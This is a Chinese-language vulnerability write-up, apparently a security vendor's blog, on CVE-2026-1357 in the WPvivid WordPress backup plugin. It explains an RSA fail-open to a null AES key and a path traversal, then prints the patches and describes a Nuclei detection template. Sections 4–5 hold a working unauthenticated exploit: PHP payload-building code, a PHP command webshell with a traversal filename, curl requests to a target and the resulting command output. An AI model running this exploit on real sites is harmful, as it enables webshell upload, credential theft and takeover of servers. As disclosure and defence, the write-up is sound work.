我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 96.75% 的成绩。 了解更多

安全

安全

CVE-2026-1357:WPvivid 备份插件中的未授权 RCE

对 CVE-2026-1357 的技术剖析——这是 WPvivid Backup & Migration 插件(≤ 0.9.123)中一个 CVSS 9.8 严重级别的未授权远程代码执行漏洞。两个环环相扣的缺陷——一个密码学 fail-open 和一个未经净化的路径遍历——使得无需任何凭据即可实现任意文件写入和 shell 上传。

CVE-2026-1357

WPvivid 备份插件中的未授权 RCE

2026 年 2 月 17 日 · CVSS 9.8 严重 · WPvivid ≤ 0.9.123

CVE ID CVSS 受影响版本 修复版本
CVE-2026-1357 9.8 严重 ≤ 0.9.123 0.9.124+

1. 坠入兔子洞:WPvivid Backup and Migration 插件漏洞概览

WPvivid Backup & Migration 是那种在 WordPress 上随处可见的插件之一,拥有超过 300,000 次活跃安装、口碑良好,负责备份、迁移和暂存环境。都是些常规功能。真正让它引人关注的是一个功能:Remote Backup Transfer,它让各个站点之间能够相互传输加密的备份数据。

加密这个词在这里承载了很多分量。当 CVE-2026-1357 以 9.8 的严重评级披露时,正是这个功能成了入口点。本文是对该漏洞工作原理的技术剖析。


2. 名不副实的加密:剖析 CVE-2026-1357 中的 WPvivid RSA Fail-Open

第一个缺陷位于 includes/class-wpvivid-crypt.php 中的 decrypt_message() 函数内。该插件使用 RSA + AES 的混合方案:RSA 密钥解密一个对称密钥,再由该密钥解密载荷。

但它并不安全。下面是存在漏洞的代码:

// class-wpvivid-crypt.php  (v0.9.123)
public function decrypt_message($message) {
    $rsa = new Crypt_RSA();
    $rsa->loadKey($this->public_key);
    $key = $rsa->decrypt($key);       // Returns FALSE on invalid key
    $rij = new Crypt_Rijndael();
    $rij->setKey($key);               // BUG: no check, sets FALSE as key
    return $rij->decrypt($data);      // Decrypts with null-byte key
}

当 RSA 解密失败时,$rsa->decrypt() 返回 FALSE。而这个返回值从未被检查,它被直接传入了 setKey()。

该插件使用的是 phpseclib v1。在该版本中,setKey(FALSE) 会把该值当作空字符串处理,随后被填充为一个 16 字节的全空(null)密钥:\x00\x00\x00...\x00。这个密钥是固定的、已知的,并且在每一次安装中都完全相同。任何攻击者只要用这个空密钥预先加密自己的载荷,就能让插件成功解密,从而彻底绕过了身份验证。

密码学 fail-open(CWE-755): 对解密结果缺少校验,导致该函数不是中止执行,而是回退到一个已知的空密钥。攻击者提供一个无效的 RSA 密钥来触发失败,然后提交一个已用空密钥加密好的载荷。


3. 故意迷路:WPvivid Send to Site 功能中的路径遍历

第二个缺陷位于 includes/customclass/class-wpvivid-send-to-site.php 中。在(现已被绕过的)解密步骤之后,插件从 JSON 载荷中读取一个文件名,并用它构造文件路径:

// class-wpvivid-send-to-site.php  (v0.9.123)
public function send_to_site() {
    $params    = json_decode($data, 1);
    $dir       = WPvivid_Setting::get_backupdir();

    // No sanitization of $params['name']
    $file_path = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR
               . str_replace('wpvivid', 'wpvivid_temp', $params['name']);

    fwrite($handle, base64_decode($params['data']));
}

没有 basename(),没有扩展名检查。来自 $params['name'] 的值被直接放入路径。把它设置为 "../uploads/shell.php" 会解析到 /wp-content/uploads/shell.php——一个可被公开访问、可执行 PHP 的目录。

路径遍历(CWE-22): 用户提供的文件名未经净化就到达了文件系统。与缺陷 #1 结合,一个未授权的请求就能将任意文件内容写入 Web 根目录可及范围内的任意位置。


4. 串联起来:利用 CVE-2026-1357 实现远程代码执行

漏洞利用分两步进行:生成载荷,发送请求。

第 1 步:载荷生成

该漏洞利用代码复现了 phpseclib v1 的空密钥行为。PHP webshell 使用 \x00×16 进行 AES 加密,封装进带有遍历文件名的 JSON 中,并在前面加上一个无效的 RSA 密钥以触发 fail-open:

<?php  // exploit.php
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');

$rijndael = new Crypt_Rijndael();
$rijndael->setBlockLength(128);
$rijndael->setKey(str_repeat("\0", 16));  // 16-byte null key

$shell = '<?php system($_GET["cmd"]); ?>';

$payload = [
    'name'   => '../uploads/pwn_shell.php',  // path traversal
    'data'   => base64_encode($shell),
    'offset' => 0, 'index' => 0, 'type' => 'backup', 'status' => 'running'
];

$enc      = $rijndael->encrypt(json_encode($payload));
$fake_rsa = 'ABC';  // any garbage triggers the fail-open

$packet = str_pad(dechex(strlen($fake_rsa)), 3, '0', STR_PAD_LEFT)
        . $fake_rsa
        . str_pad(dechex(strlen($enc)), 16, '0', STR_PAD_LEFT)
        . $enc;

echo base64_encode($packet);

第 2 步:发送请求

载荷通过一个普通的 POST 请求发送到 WordPress 根端点。无需凭据、无需会话,也无需任何前置准备:

PAYLOAD=$(php exploit.php)
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")

curl -i -s -X POST "http://209.38.255.159:8090/" \
  -d "wpvivid_action=send_to_site" \
  -d "wpvivid_content=$ENCODED"

响应:

HTTP/1.1 200 OK
Date: Tue, 17 Feb 2026 10:38:21 GMT
Server: Apache/2.4.66 (Debian)
X-Powered-By: PHP/8.3.30
Content-Length: 36

{"result":"success","op":"finished"}

shell 已落盘。调用它:

curl "http://209.38.255.159:8090/wp-content/uploads/pwn_shell.php?cmd=whoami"

www-data

5. 概念验证:WPvivid RCE 漏洞利用全过程与影响分析

目标运行的是 WPvivid v0.9.123,0.9.124 更新已可用但尚未应用。

WordPress 管理后台显示已安装 WPvivid v0.9.123,并有待更新至 0.9.124
WPvivid v0.9.123,更新待安装

漏洞利用之后,上传的 webshell 会以 Web 服务器进程的身份响应任意命令。

RCE 已确认,通过上传的 shell 返回了 /etc/passwd
通过上传的 webshell 确认 RCE

影响: 拥有 www-data 访问权限后,攻击者可以读取 wp-config.php 以获取数据库凭据、窃取站点的全部数据、安装持久化后门,或根据服务器配置进一步横向移动。从这一步开始,完全攻陷整个 WordPress 安装已轻而易举。


6. 修复方案:为 WPvivid 插件安全缺陷 CVE-2026-1357 打补丁

0.9.124 版本独立地修复了这两个缺陷。任一修复单独生效都足以打断漏洞利用链。

修复 1:校验解密结果

在 $rsa->decrypt() 之后增加一处检查,就能把 fail-open 变为 fail-closed。如果解密返回 false 或空密钥,函数即中止:

// class-wpvivid-crypt.php  (v0.9.124)
$key = $rsa->decrypt($key);

if ($key === false || empty($key)) {
    return false;  // fail-closed
}

$rij->setKey($key);
return $rij->decrypt($data);

修复 2:净化文件名并强制执行扩展名白名单

basename() 会剥除目录遍历序列。一个正则表达式限制了允许的字符。一份明确的扩展名白名单则阻止任何可执行文件:

// class-wpvivid-send-to-site.php  (v0.9.124)
$safe_name = basename($params['name']);
$safe_name = preg_replace('/[^a-zA-Z0-9._-]/', '', $safe_name);

$allowed = ['zip', 'gz', 'tar', 'sql'];
$ext     = strtolower(pathinfo($safe_name, PATHINFO_EXTENSION));

if (!in_array($ext, $allowed, true)) {
    $ret['error'] = 'Invalid file type.';
    echo wp_json_encode($ret);
    die();
}

7. 使用 Ostorlab KEV 检测 CVE-2026-1357

CVE-2026-1357 现已纳入 Ostorlab 的已知被利用漏洞(Known Exploited Vulnerabilities,KEV)检测套件。该套件在开放端口和暴露的服务上运行自动化扫描,以大规模识别已知被利用的漏洞,将 Nmap、Tsunami、Asteroid、Nuclei 和 Metasploit 等工具整合在单个 agent group 之下。

Nuclei 模板

针对该 CVE 编写了一个经过验证的 Nuclei 模板,并添加到了 KEV 仓库中。它由 omarkurt 和 Lucas Montes(NiRoX,该漏洞的最初发现者)共同撰写。该模板对目标运行三个请求:

  • 一个对插件 readme.txt 的 GET 请求,用于确认 WPvivid 已安装并提取版本号。
  • 一个对根端点的 POST 请求,携带预先构建的漏洞利用载荷,触发 fail-open 并通过路径遍历写入一个 shell。
  • 一个对上传的 shell 的 GET 请求,用于确认执行成功。检测要求三者全部匹配:插件存在、上传成功、shell 响应。

该模板被标记为 verified: true 并标注为侵入式(intrusive)——它会主动利用目标以确认漏洞,而不仅仅是进行指纹识别。它被收录在 KEV agent group 中,与另外 200 多个覆盖 CISA 及更广泛威胁情报社区所追踪的严重 CVE 的模板并列。

完整模板可在 Ostorlab KEV 仓库中获取: github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2026-1357.yaml


要点总结

CVE-2026-1357 是一个直观的例子,说明两个各自可控的 bug 如何串联成一个严重级别的评级。密码学 fail-open 消除了身份验证;路径遍历则给予了对 Web 根目录的任意写入权限。这两个缺陷都算不上奇特。

防御方面的教训同样朴素明了:

  • 在把密码学返回值用作密钥之前,务必对其进行校验。
  • 切勿将用户提供的输入直接用于文件系统路径。
  • basename() 和扩展名白名单是处理文件上传的标准做法。
  • 纵深防御:对两个层面都打补丁,使任何单一绕过都不足以得逞。

参考资料

资源 链接
NVD https://nvd.nist.gov/vuln/detail/CVE-2026-1357
Wordfence https://www.wordfence.com/threat-intel/vulnerabilities/id/e5af0317-ef46-4744-9752-74ce228b5f37
PoC https://github.com/LucasM0ntes/POC-CVE-2026-1357
Plugin https://wordpress.org/plugins/wpvivid-backuprestore/